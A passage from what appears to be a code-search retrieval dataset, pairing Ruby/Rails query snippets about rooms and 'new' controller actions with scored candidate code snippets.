"text": "def getRoomInfo(room)\n if room.include? '/'\n instance = room\n else\n instance = @roomInstance.gsub(/#room#/, room)\n end\n data = RTC::http_get(\"#{@baseURL}app/account?instance=#{instance}&#{@authToken}\", @authHeaders)\n\tputs data if DEBUG\n\n response = REXML::Document.new(data).root\n\tRTC::check_status response\n\n\tinfo = response.elements['meeting-info']\n\trinfo = RoomInfo.new\n\trinfo.isConnected = info.elements['is-connected'].text == 'true'\n\trinfo.userCount = info.elements['user-count'].text.to_i\n\trinfo.bytesUp = info.elements['total-bytes-up'].text.to_i\n\trinfo.bytesDown = info.elements['total-bytes-down'].text.to_i\n\trinfo.messages = info.elements['total-messages'].text.to_i\n\trinfo.peakUsers = info.elements['peak-users'].text.to_i\n\trinfo.dateCreated = RTC::parseDateTime(info.elements['date-created'].text)\n\trinfo.dateStarted = RTC::parseDateTime(info.elements['date-started'].text)\n\trinfo.dateEnded = RTC::parseDateTime(info.elements['date-ended'].text)\n\trinfo.dateExpired = RTC::parseDateTime(info.elements['date-expired'].text)\n\treturn rinfo\n end",
"title": ""
}
] |
[
{
"docid": "c508b4666f80cee208133d51b428ce87",
"score": "0.71838766",
"text": "def room\r\n return @room || Room.inactive_room\r\n end",
"title": ""
},
{
"docid": "d0eb015736b89270172f99b2ac918eee",
"score": "0.6665807",
"text": "def current_room\n room\n end",
"title": ""
},
{
"docid": "862ba7ddb7c7939ff2511598452d45e2",
"score": "0.64962095",
"text": "def room\n if @object.respond_to?(:object)\n @object.object.room\n else\n @object.room\n end\n end",
"title": ""
},
{
"docid": "d506e6a69ae1a4cd083acce29c4dc0f7",
"score": "0.6477051",
"text": "def room\n client.room\n end",
"title": ""
},
{
"docid": "f1dd4b6ab132421a586e8703e17e5c83",
"score": "0.6464968",
"text": "def room\n if @object.respond_to?(:object)\n @object.object.room\n else\n @object.room\n end\n end",
"title": ""
},
{
"docid": "362f77cc613b91dfeef60613137d760e",
"score": "0.64648426",
"text": "def room\n if @parent_inventory.nil?\n return Room.inactive_room\n end\n return @parent_inventory.owner.room\n end",
"title": ""
},
{
"docid": "c2d7011e95e952c1457515f56091d74d",
"score": "0.6403741",
"text": "def room\n client.room || raise(APIError, 'User is not currently in a room')\n end",
"title": ""
},
{
"docid": "af9c643337fcb1cf19643fb0e0e69bdb",
"score": "0.6372271",
"text": "def load_and_fetch_room_info\n end",
"title": ""
},
{
"docid": "1c534de21aa5499187bb53b1797f80ef",
"score": "0.6337644",
"text": "def room?\n !client.room.nil?\n end",
"title": ""
},
{
"docid": "9f7eea5620354ef5f986e8dc94711c6b",
"score": "0.6304818",
"text": "def get_room\n return @config[\"ROOM\"]\n end",
"title": ""
},
{
"docid": "f1808d00b79603fe43effe81b454aadb",
"score": "0.6198254",
"text": "def room\n # puts \"Player Room #{@@currentRoom}\"\n # puts Cave.roomInstance(@@currentRoom-1)\n # puts Cave.roomInstance(@@currentRoom-1).number\n #puts @@currentRoom #This is a room\n return Cave.roomInstance(@@currentRoom-1)\n end",
"title": ""
},
{
"docid": "70b17ec8a210184c30d37d3577c95fca",
"score": "0.6121203",
"text": "def active?\n info['active']\n end",
"title": ""
},
{
"docid": "78d41a4a6ccfb8c729f7e75e367a2d1c",
"score": "0.6116946",
"text": "def room_description\n return @room_description\n end",
"title": ""
},
{
"docid": "39213cc0078031b6787550d072d2a841",
"score": "0.6107015",
"text": "def room\n fetch('house.rooms')\n end",
"title": ""
},
{
"docid": "a1091cc292a213b6624f746edaeaf4ea",
"score": "0.60910165",
"text": "def player_current_room\n player.current_room\n end",
"title": ""
},
{
"docid": "06e6499dc441fd8770068de992c4e0e6",
"score": "0.60788167",
"text": "def current_room_model\n Room[self.current_room]\n end",
"title": ""
},
{
"docid": "06e6499dc441fd8770068de992c4e0e6",
"score": "0.60788167",
"text": "def current_room_model\n Room[self.current_room]\n end",
"title": ""
},
{
"docid": "06e6499dc441fd8770068de992c4e0e6",
"score": "0.60788167",
"text": "def current_room_model\n Room[self.current_room]\n end",
"title": ""
},
{
"docid": "d1b91bbf8fcea314f98f096a5e4816b3",
"score": "0.6060953",
"text": "def describe\n @current_room.describe\n end",
"title": ""
},
{
"docid": "f714b0fa0ae6fb33f1424c99aeff39ba",
"score": "0.6051215",
"text": "def room_name\n room.name\n end",
"title": ""
},
{
"docid": "31fc45519135a6c357e06f8db90a60e1",
"score": "0.60335314",
"text": "def current_room\n\t\t\t@current_room ||= Dungeon.first_room_name\n\t\tend",
"title": ""
},
{
"docid": "2d93423ca704fb1e15320a58962b1e7f",
"score": "0.6019356",
"text": "def ais_in_room\n @@ais_in_room.select { |ai| puts ai.username }\n end",
"title": ""
},
{
"docid": "a698f511d9f23cb25b1bed25aa4fc8f6",
"score": "0.5987123",
"text": "def room\n Room.where(cube_id: cube_id, uid: room_id).first\n end",
"title": ""
},
{
"docid": "345f67a9fcee6ce669980fa931dac5d7",
"score": "0.5974587",
"text": "def get_room_name\n\t\treturn object.room_name\n\tend",
"title": ""
},
{
"docid": "b774279ee19339401727088a86cc1e4f",
"score": "0.59664506",
"text": "def get_available_room type\n rooms = available_rooms type\n rooms[type][0] if rooms[type]\n end",
"title": ""
},
{
"docid": "6f9298cfb1acd21bb82504110b702229",
"score": "0.59610873",
"text": "def show\n #this is purely for viewing stats and stuff\n #only for tab room officials\n #the room info will be displayed for users in the draw/another page\n @room = Room.find(params[:id]);\n\n #need to find institution in a similar way\n @institution = nil;\n end",
"title": ""
},
{
"docid": "6d3061190e617588069af71c34742877",
"score": "0.5956325",
"text": "def current_room\n\t@current_room ||= Room.where(:user_id => session[:user_id]).first if session[:user_id] #if current_user is nil then replace it, if there is a current session\n end",
"title": ""
},
{
"docid": "a89f1e4fb07ed8ac28c044074d6bd064",
"score": "0.5952402",
"text": "def show\n @room_types = @hostel.room_types\n @can_comment = false\n if user_signed_in?\n hostel_registration = @hostel.hostel_registrations.find_by(user: current_user)\n if hostel_registration\n unless hostel_registration.reservations.select { |r| (r.payed && r.started?) }.count.zero?\n @can_comment = true\n end\n end\n end\n end",
"title": ""
},
{
"docid": "855264e5fd7c3325dde7724efbaa5714",
"score": "0.5940282",
"text": "def creation_info\n room_state['m.room.create']\n end",
"title": ""
},
{
"docid": "4cddedad9729b6c64ac7e4eddbeaf664",
"score": "0.5920693",
"text": "def current_reservations\n self.reservations.current.active\n end",
"title": ""
},
{
"docid": "5a21c7f8b8b7cc4305e77352fd728692",
"score": "0.59109837",
"text": "def room_name\n return @room_name\n end",
"title": ""
},
{
"docid": "42f429f338d945fc0523e88aac624081",
"score": "0.5888195",
"text": "def context\n unless @instance_context\n @instance_context = RoomContext.new(@version , @params['room_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "5ac6be2c60a9328859172e1c8202f759",
"score": "0.587524",
"text": "def active?\n @@instance ? true : false\n end",
"title": ""
},
{
"docid": "c3f8fb4ddfa7574c9f1d948cacf01867",
"score": "0.5864886",
"text": "def active?\n @@instance ? true : false\n end",
"title": ""
},
{
"docid": "c3f8fb4ddfa7574c9f1d948cacf01867",
"score": "0.5864886",
"text": "def active?\n @@instance ? true : false\n end",
"title": ""
},
{
"docid": "838b6aa6a65c69e3663a9ac91c067d44",
"score": "0.58545387",
"text": "def is_active?\n @@instance ? true : false\n end",
"title": ""
},
{
"docid": "ba9a97c4a808a5624ab1dbffe7536cf6",
"score": "0.5848554",
"text": "def active?\n !! (options[:api_token] and Setting.plugin_redmine_chatwork_notifications[:room_id])\n end",
"title": ""
},
{
"docid": "c002457fb5eaa8105e17fc3d1afa304f",
"score": "0.5840347",
"text": "def status\n return \"在室\" if object.status == Member::Status::InRoom\n return \"退室\" if object.status == Member::Status::BeOut\n end",
"title": ""
},
{
"docid": "f7b53fdf9fe89d1c777884897b761b19",
"score": "0.58050555",
"text": "def getNameOfRoom\n return @name\n end",
"title": ""
},
{
"docid": "734743d9891a2205a66f2554e73e4880",
"score": "0.5778535",
"text": "def get_room\n response = self.class.get(@api.get_room_config[:url],\n :query => {:auth_token => @token }.merge(@api.get_room_config[:query_params]),\n :headers => @api.headers\n )\n\n ErrorHandler.response_code_to_exception_for :room, room_id, response\n response.parsed_response\n end",
"title": ""
},
{
"docid": "c50676f8ffc7dcc1abe149c52a2dc88d",
"score": "0.5774786",
"text": "def display_room\n puts \"Room Type: #{@type}\"\n puts \"Price: #{@price} per session\"\n end",
"title": ""
},
{
"docid": "b9e30b12977f184f8172150e8cd82483",
"score": "0.5757244",
"text": "def show\n if ([email protected]? && !current_user.is_admin?)\n flash[:danger] = \"You are not allowed to access this room.\"\n redirect_to rooms_url\n else\n respond_to do |format|\n format.html { redirect_to rooms_path }\n room_info = Hash.new\n format.json {\n room_info[\"room_info\"] = @room\n booking_info = Hash.new\n room_info[\"bookings\"] = @room.get_bookings(current_user)\n if params[\"only_bookings\"] == \"1\"\n render json: room_info[\"bookings\"]\n else\n render json: room_info\n end\n }\n end\n end\n end",
"title": ""
},
{
"docid": "bbbee69327b7628b82ad4ee6786ed5f5",
"score": "0.5742399",
"text": "def presentRoom(room)\n \n #showing doors\n availableDoors(room)\n \n #item?\n if room.getItem.hasItem\n puts \"There is a Sword in room\"\n else \n puts \"There are no items in room\"\n end\n \n #treasure?\n if not room.getTreasure.nil?\n puts \"There is a Treasure in the room\"\n else\n puts \"There is no Treasure in the room\"\n end\n \n options = []\n options << \"L\"\n #monster ?\n if room.getMonster.hasMonster\n puts \"There is a monster in room\"\n options << \"F\"\n else \n puts \"There are no enemies\"\n if not room.getTreasure.nil?\n return \"L\"\n end\n end\n \n return options\n end",
"title": ""
},
{
"docid": "d763dcad83a9a958ed91d7864fc7f87c",
"score": "0.5692918",
"text": "def get_room_list \n return @room_list\n end",
"title": ""
},
{
"docid": "03395fd5f23501708ad5b6a76f001881",
"score": "0.5692614",
"text": "def current_classroom\n self.classrooms.first\n end",
"title": ""
},
{
"docid": "a142d2d131e73ae7376705c15b6587c0",
"score": "0.5649245",
"text": "def rooms(info)\n params = { rooms: [{adults: 1, children_ages: []}] }.merge(info)\n params[:rooms].each_with_index do |room, n|\n params[\"room#{n+1}\"] = room[:adults].to_s + \",\" + (room[:children_ages].join(\",\") if room[:children_ages])\n end\n params[\"arrivalDate\"] = info[:arrival]\n params[\"departureDate\"] = info[:departure]\n params[\"includeDetails\"] = true\n params.delete(:arrival)\n params.delete(:departure)\n params[\"hotelId\"] = @id\n\n if Configuration.cache? and Configuration.cache.cached?(:avail, params)\n parsed = Configuration.cache.get_query(:avail, params)\n else\n parsed = Hotel.parse_response(Hotel.url(method: \"avail\", params: params, session: info[:session]))\n Hotel.handle_errors(parsed)\n if Configuration.cache?\n Configuration.cache.save_query(:avail, params, parsed)\n end\n end\n res = parsed[\"HotelRoomAvailabilityResponse\"]\n hotel_room_res = [res[\"HotelRoomResponse\"]].flatten\n hotel_id = res[\"hotelId\"]\n rate_key = res[\"rateKey\"]\n supplier_type = hotel_room_res[0][\"supplierType\"]\n Hotel.update_session(parsed, info[:session])\n\n hotel_room_res.map do |raw_data|\n room_data = {}\n room_data[:non_refundable] = raw_data[\"nonRefundable\"]\n room_data[:deposit_required] = raw_data[\"depositRequired\"]\n room_data[:guarantee_only] = raw_data[\"guaranteeRequired\"]\n room_data[:cancellation_policy] = raw_data[\"cancellationPolicy\"]\n room_data[:rate_code] = raw_data[\"rateCode\"]\n room_data[:room_type_code] = raw_data[\"roomTypeCode\"]\n room_data[:room_type_description] = raw_data[\"roomTypeDescription\"]\n room_data[:rate_description] = raw_data[\"rateDescription\"]\n room_data[:promo] = raw_data[\"RateInfo\"][\"@promo\"].to_b\n room_data[:price_breakdown] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"NightlyRatesPerRoom\"][\"NightlyRate\"].map do |raw|\n NightlyRate.new(raw)\n end if raw_data[\"RateInfo\"][\"ChargeableRateInfo\"] && raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"NightlyRatesPerRoom\"] && raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"NightlyRatesPerRoom\"][\"NightlyRate\"].is_a?(Array)\n room_data[:total_price] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@total\"]\n room_data[:max_nightly_rate] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@maxNightlyRate\"]\n room_data[:rate_change] = raw_data[\"rateChange\"]\n room_data[:nightly_rate_total] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@nightlyRateTotal\"]\n room_data[:average_nightly_rate] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@averageRate\"]\n room_data[:arrival] = info[:arrival]\n room_data[:departure] = info[:departure]\n room_data[:rate_key] = rate_key\n room_data[:hotel_id] = hotel_id\n room_data[:supplier_type] = supplier_type\n room_data[:rooms] = params[:rooms]\n room_data[:surcharges] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"] &&\n raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"Surcharges\"] &&\n [raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"Surcharges\"][\"Surcharge\"]].\n flatten.map { |s| Surcharge.parse(s) }\n room_data[:bed_types] = [raw_data[\"BedTypes\"][\"BedType\"]].flatten.map do |x|\n BedType.new(id: x[\"@id\"], description: x[\"description\"])\n end if raw_data[\"BedTypes\"] && raw_data[\"BedTypes\"][\"BedType\"]\n\n r = Room.new(room_data)\n r.raw = parsed\n r\n end\n end",
"title": ""
},
{
"docid": "03cd0725411e3f6e10e16d456f622eca",
"score": "0.56482315",
"text": "def room\n # We use try(:selected_schedule_id) because this function is used for\n # validations so program could not be present there\n if track.try(:self_organized?)\n track.room\n else\n event_schedules.find_by(schedule_id: program.try(:selected_schedule_id)).try(:room)\n end\n end",
"title": ""
},
{
"docid": "37659cd8d8a4c367a4220f214d15da35",
"score": "0.5646799",
"text": "def active?\n self.internal_object['status'] == 'Active'\n end",
"title": ""
},
{
"docid": "e3eca1731c409bf83aa1bbc7c9a48a0f",
"score": "0.56414574",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Insights.V1.RoomInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "12d880cb61fc675fdab95a71ff8c61f8",
"score": "0.5629227",
"text": "def rooms(info)\n params = { rooms: [{adults: 1, children_ages: []}] }.merge(info)\n params[:rooms].each_with_index do |room, n|\n params[\"room#{n+1}\"] = room[:adults].to_s + \",\" + (room[:children_ages].join(\",\") if room[:children_ages])\n end\n params[\"arrivalDate\"] = info[:arrival]\n params[\"departureDate\"] = info[:departure]\n params[\"includeDetails\"] = true\n params.delete(:arrival)\n params.delete(:departure)\n params[\"hotelId\"] = @id\n if Configuration.cache? and Configuration.cache.cached?(:avail, params)\n parsed = Configuration.cache.get_query(:avail, params)\n else\n parsed = Hotel.parse_response(Hotel.url(:method => \"avail\", :params => params, :session => info[:session]))\n Hotel.handle_errors(parsed)\n Configuration.cache.save_query(:avail, params, parsed) if Configuration.cache?\n end\n hotel_id = parsed[\"HotelRoomAvailabilityResponse\"][\"hotelId\"]\n rate_key = parsed[\"HotelRoomAvailabilityResponse\"][\"rateKey\"]\n supplier_type = parsed[\"HotelRoomAvailabilityResponse\"][\"HotelRoomResponse\"][0][\"supplierType\"]\n Hotel.update_session(parsed, info[:session])\n rooms = parsed[\"HotelRoomAvailabilityResponse\"][\"HotelRoomResponse\"].map do |raw_data|\n room_data = {}\n room_data[:rate_code] = raw_data[\"rateCode\"]\n room_data[:room_type_code] = raw_data[\"roomTypeCode\"]\n room_data[:room_type_description] = raw_data[\"roomTypeDescription\"]\n room_data[:promo] = raw_data[\"RateInfo\"][\"@promo\"].to_b\n room_data[:price_breakdown] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"NightlyRatesPerRoom\"][\"NightlyRate\"].map { |raw| NightlyRate.new(raw) } if raw_data[\"RateInfo\"][\"ChargeableRateInfo\"] && raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"NightlyRatesPerRoom\"] && raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"NightlyRatesPerRoom\"][\"NightlyRate\"].is_a?(Array)\n room_data[:total_price] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@total\"]\n room_data[:nightly_rate_total] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@nightlyRateTotal\"]\n room_data[:average_nightly_rate] = raw_data[\"RateInfo\"][\"ChargeableRateInfo\"][\"@averageRate\"]\n room_data[:arrival] = info[:arrival]\n room_data[:departure] = info[:departure]\n room_data[:rate_key] = rate_key\n room_data[:hotel_id] = hotel_id\n room_data[:supplier_type] = supplier_type\n room_data[:rooms] = params[:rooms]\n room_data[:bed_types] = [raw_data[\"BedTypes\"][\"BedType\"]].flatten.map { |x| BedType.new(id: x[\"@id\"], description: x[\"description\"]) } if raw_data[\"BedTypes\"] && raw_data[\"BedTypes\"][\"BedType\"]\n Room.new(room_data)\n end\n end",
"title": ""
},
{
"docid": "f8612aa6eed9d5d5514b595f59dcbafd",
"score": "0.56282127",
"text": "def get_room_creation_info(room_id, **params)\n get_room_state(room_id, 'm.room.create', **params)\n end",
"title": ""
},
{
"docid": "4336c8fbd834f4a5815b682872e31bd7",
"score": "0.56239384",
"text": "def show_current_description\n puts current_room.full_description\n end",
"title": ""
},
{
"docid": "2395b5558c4fa2bf0820b17b37765385",
"score": "0.56192464",
"text": "def index\n @rooms = current_user.rooms.where('is_active')\n end",
"title": ""
},
{
"docid": "296199583032ee05e00093453aa81eaa",
"score": "0.56160283",
"text": "def rooms\n bot.rooms\n end",
"title": ""
},
{
"docid": "edd6f6293f8088b4f4e5d84090d53e83",
"score": "0.5601231",
"text": "def get_room( name )\r\n\t\t\t@last_text, @last_vars, @room_exits = @rooms[ name.to_sym ]\r\n\t\tend",
"title": ""
},
{
"docid": "3e2f981b8e2c14e68175193b570bdd4a",
"score": "0.5593831",
"text": "def status\n @instance['status']\n end",
"title": ""
},
{
"docid": "4259d41d9ba45e136e52abea5b7d99ce",
"score": "0.55925876",
"text": "def describe_current_room(room_id)\n room = Room.find(room_id)\n door_command_names = room.door_command_names\n door_text = door_command_names.inject{|memo, txt| memo + \", \" + txt}\n puts \"You are in the \" + room.name\n puts room.description\n puts \"There are doors to the \" + door_text\n return room.door_commands\nend",
"title": ""
},
{
"docid": "345f5fec52df475f5bb750756cd92223",
"score": "0.55860454",
"text": "def your_reservations\n @rooms = current_user.rooms\n end",
"title": ""
},
{
"docid": "b04650c191b03b45039de663343d061b",
"score": "0.55825174",
"text": "def show\n @rooms =Room\n end",
"title": ""
},
{
"docid": "c800b4209022bb4bce1334c8cf751172",
"score": "0.5574472",
"text": "def operational?\n if activity.present?\n activity.operational? and active\n else\n false\n end\n end",
"title": ""
},
{
"docid": "7b36331ffcf705b95cbcd5c474a20c03",
"score": "0.5574",
"text": "def info\n @info ||= Device.device_info(id)\n end",
"title": ""
},
{
"docid": "e1fb51d7116dbde53150e604b19e1248",
"score": "0.55701375",
"text": "def isroom(actor)\n actor.class == Room\n end",
"title": ""
},
{
"docid": "08901f73669da6ce1222765b2aefa74d",
"score": "0.5565233",
"text": "def status\n has_torch = @game.player.has_torch?\n return \"You can't see anything, you must purchase a torch\\n\" unless has_torch\n\n output = StringIO.new\n output << @game.player.to_s\n output << \"\\n\"\n\n output << \"#{@game.current_room_model.description}\\n\"\n\n treasure = @game.current_room_model.treasure\n output << \"\\nThere is treasure here worth $#{treasure}.\\n\" if treasure && treasure > 0\n\n monster = @game.current_room_model.monster\n if monster\n output << \"\\nDANGER... THERE IS A MONSTER HERE....\\n\\n\"\n output << \"#{@game.current_room_model.monster}\\n\\n\"\n end\n\n if @game.current_room_model.name != \"Exit\"\n output << \"\\nWhat do you want to do? \"\n end\n\n output.string\n end",
"title": ""
},
{
"docid": "1675198a3a310a0dbbe3d3639b5e41be",
"score": "0.5549104",
"text": "def show\n @room = Room.friendly.find(params[:id])\n @reservations = @room.reservations\n end",
"title": ""
},
{
"docid": "856b7682a0d2193144a3eaedba34d08f",
"score": "0.5548819",
"text": "def list_rooms\n @rooms.each do\n |room_name, room|\n puts \"#{room_name} : #{room.available_space}\"\n end\n end",
"title": ""
},
{
"docid": "9f061ac567dfe330b91d731b4e73d066",
"score": "0.55414236",
"text": "def room(options = {:temporal => true})\n get_mixed_option_value(:room, options)\n end",
"title": ""
},
{
"docid": "16ac4dc21daf755d16dcfc707d963203",
"score": "0.5541313",
"text": "def chat_info\n return @chat_info\n end",
"title": ""
},
{
"docid": "960c0cf2a4149a61abfd20a18b9f553e",
"score": "0.55406845",
"text": "def name\n room.try(:name)\n end",
"title": ""
},
{
"docid": "6b0ae43d15da4b5ec30bdafe8b0cafaf",
"score": "0.5538522",
"text": "def show\n @room = Room.in_conference(current_conference).find(params[:id])\n\n respond_with @room\n end",
"title": ""
},
{
"docid": "34ce10022132088f68f7705d0941b07d",
"score": "0.5535936",
"text": "def room; end",
"title": ""
},
{
"docid": "f5202ac0eb0c3f94dc82b7b1991056ed",
"score": "0.5529473",
"text": "def is_active?\n if [email protected]? and !@latest[:pid_active].nil?\n return @latest[:pid_active]\n end\n nil\n end",
"title": ""
},
{
"docid": "1b454d9c724a18fb02a9bfe5ab00e3a1",
"score": "0.552759",
"text": "def show\n @room = Room.find(params[:room_id])\n @avaibility = @room.avaibilities.find(params[:id])\n end",
"title": ""
},
{
"docid": "50d23e41b0502df5c65474f2551d230e",
"score": "0.5513262",
"text": "def room(options = {temporal: true})\n get_mixed_option_value(:room, options)\n end",
"title": ""
},
{
"docid": "66afa85aefe5661f5cec30e2c5dd151b",
"score": "0.5513173",
"text": "def my_room \n if current_user != @room.activity.user\n head(:unauthorized)\n end\n end",
"title": ""
},
{
"docid": "610895b51f1ca27623a516f38971c903",
"score": "0.5510829",
"text": "def show\n @room.user_admit_room(current_user) unless current_user.joined_room?(@room)\n \n respond_to do |format|\n if @room.chat_started?\n format.html { render 'chat' }\n else\n format.html { render 'show' }\n end\n end\n end",
"title": ""
},
{
"docid": "4639e4d7e25f9bad633356678516725a",
"score": "0.55095077",
"text": "def chat_info\n return @chat_info\n end",
"title": ""
},
{
"docid": "99b26682bb3c14939bf8dd432b591aea",
"score": "0.55091715",
"text": "def connected_to?(room)\n\t\t\treturn exits.values.any? { |e| e.id == room.id }\n\t\tend",
"title": ""
},
{
"docid": "7ae9edcf566040d02ad71c1c4f54e35c",
"score": "0.5506993",
"text": "def room\n @jid ? @jid.node : nil\n end",
"title": ""
},
{
"docid": "cab8fcc1e9aff959a96cb0c09d587baf",
"score": "0.5501138",
"text": "def room_type\n # Can't change, so a permanent cache is ok\n @room_type ||= creation_info[:type]\n end",
"title": ""
},
{
"docid": "057536639d9e23fa403436112e66e567",
"score": "0.5495736",
"text": "def show\n respond_with @room\n end",
"title": ""
},
{
"docid": "ed126578e73922823f960ae89deaf132",
"score": "0.5489642",
"text": "def active?\n @connection.connected?\n end",
"title": ""
},
{
"docid": "ed126578e73922823f960ae89deaf132",
"score": "0.5489642",
"text": "def active?\n @connection.connected?\n end",
"title": ""
},
{
"docid": "138dcefc05e97e862c71123e29a84425",
"score": "0.5488315",
"text": "def room_instance(room_num)\n @all_rooms.each do |room|\n if room.room_number == room_num.to_i\n return room\n end\n end\n end",
"title": ""
},
{
"docid": "fc16789dda101e6747fbb4757cfb1eb7",
"score": "0.54880357",
"text": "def show\n if @booking\n @room = @booking.room\n else\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "aed43b03abaf3e8d89dbb1af254da335",
"score": "0.5484709",
"text": "def room_version\n # Can't change, so a permanent cache is ok\n @room_version ||= creation_info[:room_version]\n end",
"title": ""
},
{
"docid": "e54af5b94add9170468287c0502bd471",
"score": "0.54741764",
"text": "def current_lease\n self.leases.find {|lease| lease.active? }\n end",
"title": ""
},
{
"docid": "a8d97f17d12416f843a5ce7cde4f6a01",
"score": "0.5469737",
"text": "def room_name\n if room_id && !room_id.empty?\n ChatService.room_name(room_id)\n end\n end",
"title": ""
},
{
"docid": "69cbd6c5ff66505144f6835890559694",
"score": "0.54603314",
"text": "def is_active?\n self.status == ACTIVE\n end",
"title": ""
},
{
"docid": "ecdf79f6a75534098322a88808efde02",
"score": "0.54599345",
"text": "def user\n room.user\n end",
"title": ""
},
{
"docid": "2c7173da991e2f77709f3141e2c5192b",
"score": "0.5454815",
"text": "def shared?\n @roomer_scope == :shared\n end",
"title": ""
},
{
"docid": "6aa8df729150e80ebdb5a9b2af59ab6f",
"score": "0.5454309",
"text": "def show\n set_room\n end",
"title": ""
},
{
"docid": "0bef1dee4c345fe33db9cd1495ac8550",
"score": "0.544613",
"text": "def show\n query = \"SELECT * FROM Room WHERE roomId = #{params[:id]}\"\n @room = Room.find_by_sql(query).first\n end",
"title": ""
},
{
"docid": "5ec3d2ef4bb86c7dfab3e1918aa90d26",
"score": "0.5432747",
"text": "def chatroom\n return ChatRoom.find_by(user_id: self.user_id, room_type: 'mikveh_chat')\n end",
"title": ""
},
{
"docid": "883acd63f109e12d41f8a8615e037276",
"score": "0.5432474",
"text": "def member_of_room?(room)\n RoomUser.exists?(room_id: room.id, user_id: id)\n end",
"title": ""
},
{
"docid": "17d7c1da72e0bae8dedcf79c580416e3",
"score": "0.5428477",
"text": "def show\n @room = @post.room\n end",
"title": ""
},
{
"docid": "ce124bcee212991cf4111a8ed72541fd",
"score": "0.5428215",
"text": "def active\n if self.study && (self.is_participant? || self.is_spectator?)\n self.study.is_activated? && (self.is_spectator? || !self.study.has_ended?)\n else\n read_attribute(:active)\n end\n end",
"title": ""
},
{
"docid": "9a9fda91b86ffe0425d940a756f06990",
"score": "0.542693",
"text": "def list_rooms\n return @rooms\n end",
"title": ""
},
{
"docid": "9a9fda91b86ffe0425d940a756f06990",
"score": "0.542693",
"text": "def list_rooms\n return @rooms\n end",
"title": ""
},
{
"docid": "c7b4b683ea14dedaeebf50519d37b679",
"score": "0.5425892",
"text": "def get_status\n game = session[:game]\n status = Hash.new\n status[:player] = game.player.name\n status[:weapons] = game.player.weapons.to_a\n status[:monster] = game.current_room_model.monster != nil\n status[:output] = game.state.status\n status[:state] = game.state.class.to_s\n status\nend",
"title": ""
},
{
"docid": "bac4b5fe4237161b900a2fbeab06aa66",
"score": "0.5424832",
"text": "def show\n @room = Room.find(params[:id])\n @in_room = []\n for resident in Resident.all do\n if (@room.id === resident.room_id)\n @in_room.push(resident)\n end\n end\n end",
"title": ""
}
] |
5154b0de4d71ac4322be40fe0e5dca88
|
GET /contents/new GET /contents/new.xml
|
[
{
"docid": "4bf0cd07db89da43032f919d9bfb94fa",
"score": "0.68719894",
"text": "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "a83173640f77272bfb6f58a0a65c7e67",
"score": "0.69407374",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"title": ""
},
{
"docid": "463c06f6aa54bc289b5ecbc4050013c6",
"score": "0.6554459",
"text": "def new\n @pagecontent = Pagecontent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagecontent }\n end\n end",
"title": ""
},
{
"docid": "9af32fce9dd8f7b3aacb31a52a2634f8",
"score": "0.6511969",
"text": "def new\n @container_content = @container.container_contents.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @container_content }\n end\n end",
"title": ""
},
{
"docid": "254e7c4d22d56c9babb7cb47b3459275",
"score": "0.64664453",
"text": "def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"title": ""
},
{
"docid": "eadeba624563b58c7d35aac5a4a01e8d",
"score": "0.6417877",
"text": "def new\n @content_item = ContentItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_item }\n end\n end",
"title": ""
},
{
"docid": "9950a0e76dc2e8ac967ac8a4aa8f7e20",
"score": "0.64118123",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end",
"title": ""
},
{
"docid": "ddb1d5c6e902aa65ac584c1c584f6eb9",
"score": "0.6369205",
"text": "def new\n @content_source = ContentSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_source }\n end\n end",
"title": ""
},
{
"docid": "7030c388c9aa5fdae967a29315d6c318",
"score": "0.63346165",
"text": "def new\n @copy = Copy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @copy }\n end\n end",
"title": ""
},
{
"docid": "0139ff7126afdafb90132b21ea49098b",
"score": "0.6330313",
"text": "def new\n @matter = Matter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @matter }\n end\n end",
"title": ""
},
{
"docid": "639a0307b984e97a6edfbe5539706437",
"score": "0.6317856",
"text": "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"title": ""
},
{
"docid": "050b6c4567f2eace509dca939517a76b",
"score": "0.6317667",
"text": "def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"title": ""
},
{
"docid": "8b4e44185b3f39b550fa325139fa6e7d",
"score": "0.63031745",
"text": "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"title": ""
},
{
"docid": "cdeec387ceda3b6462d3069e062868f9",
"score": "0.6300202",
"text": "def new\n @changelog = Changelog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @changelog }\n end\n end",
"title": ""
},
{
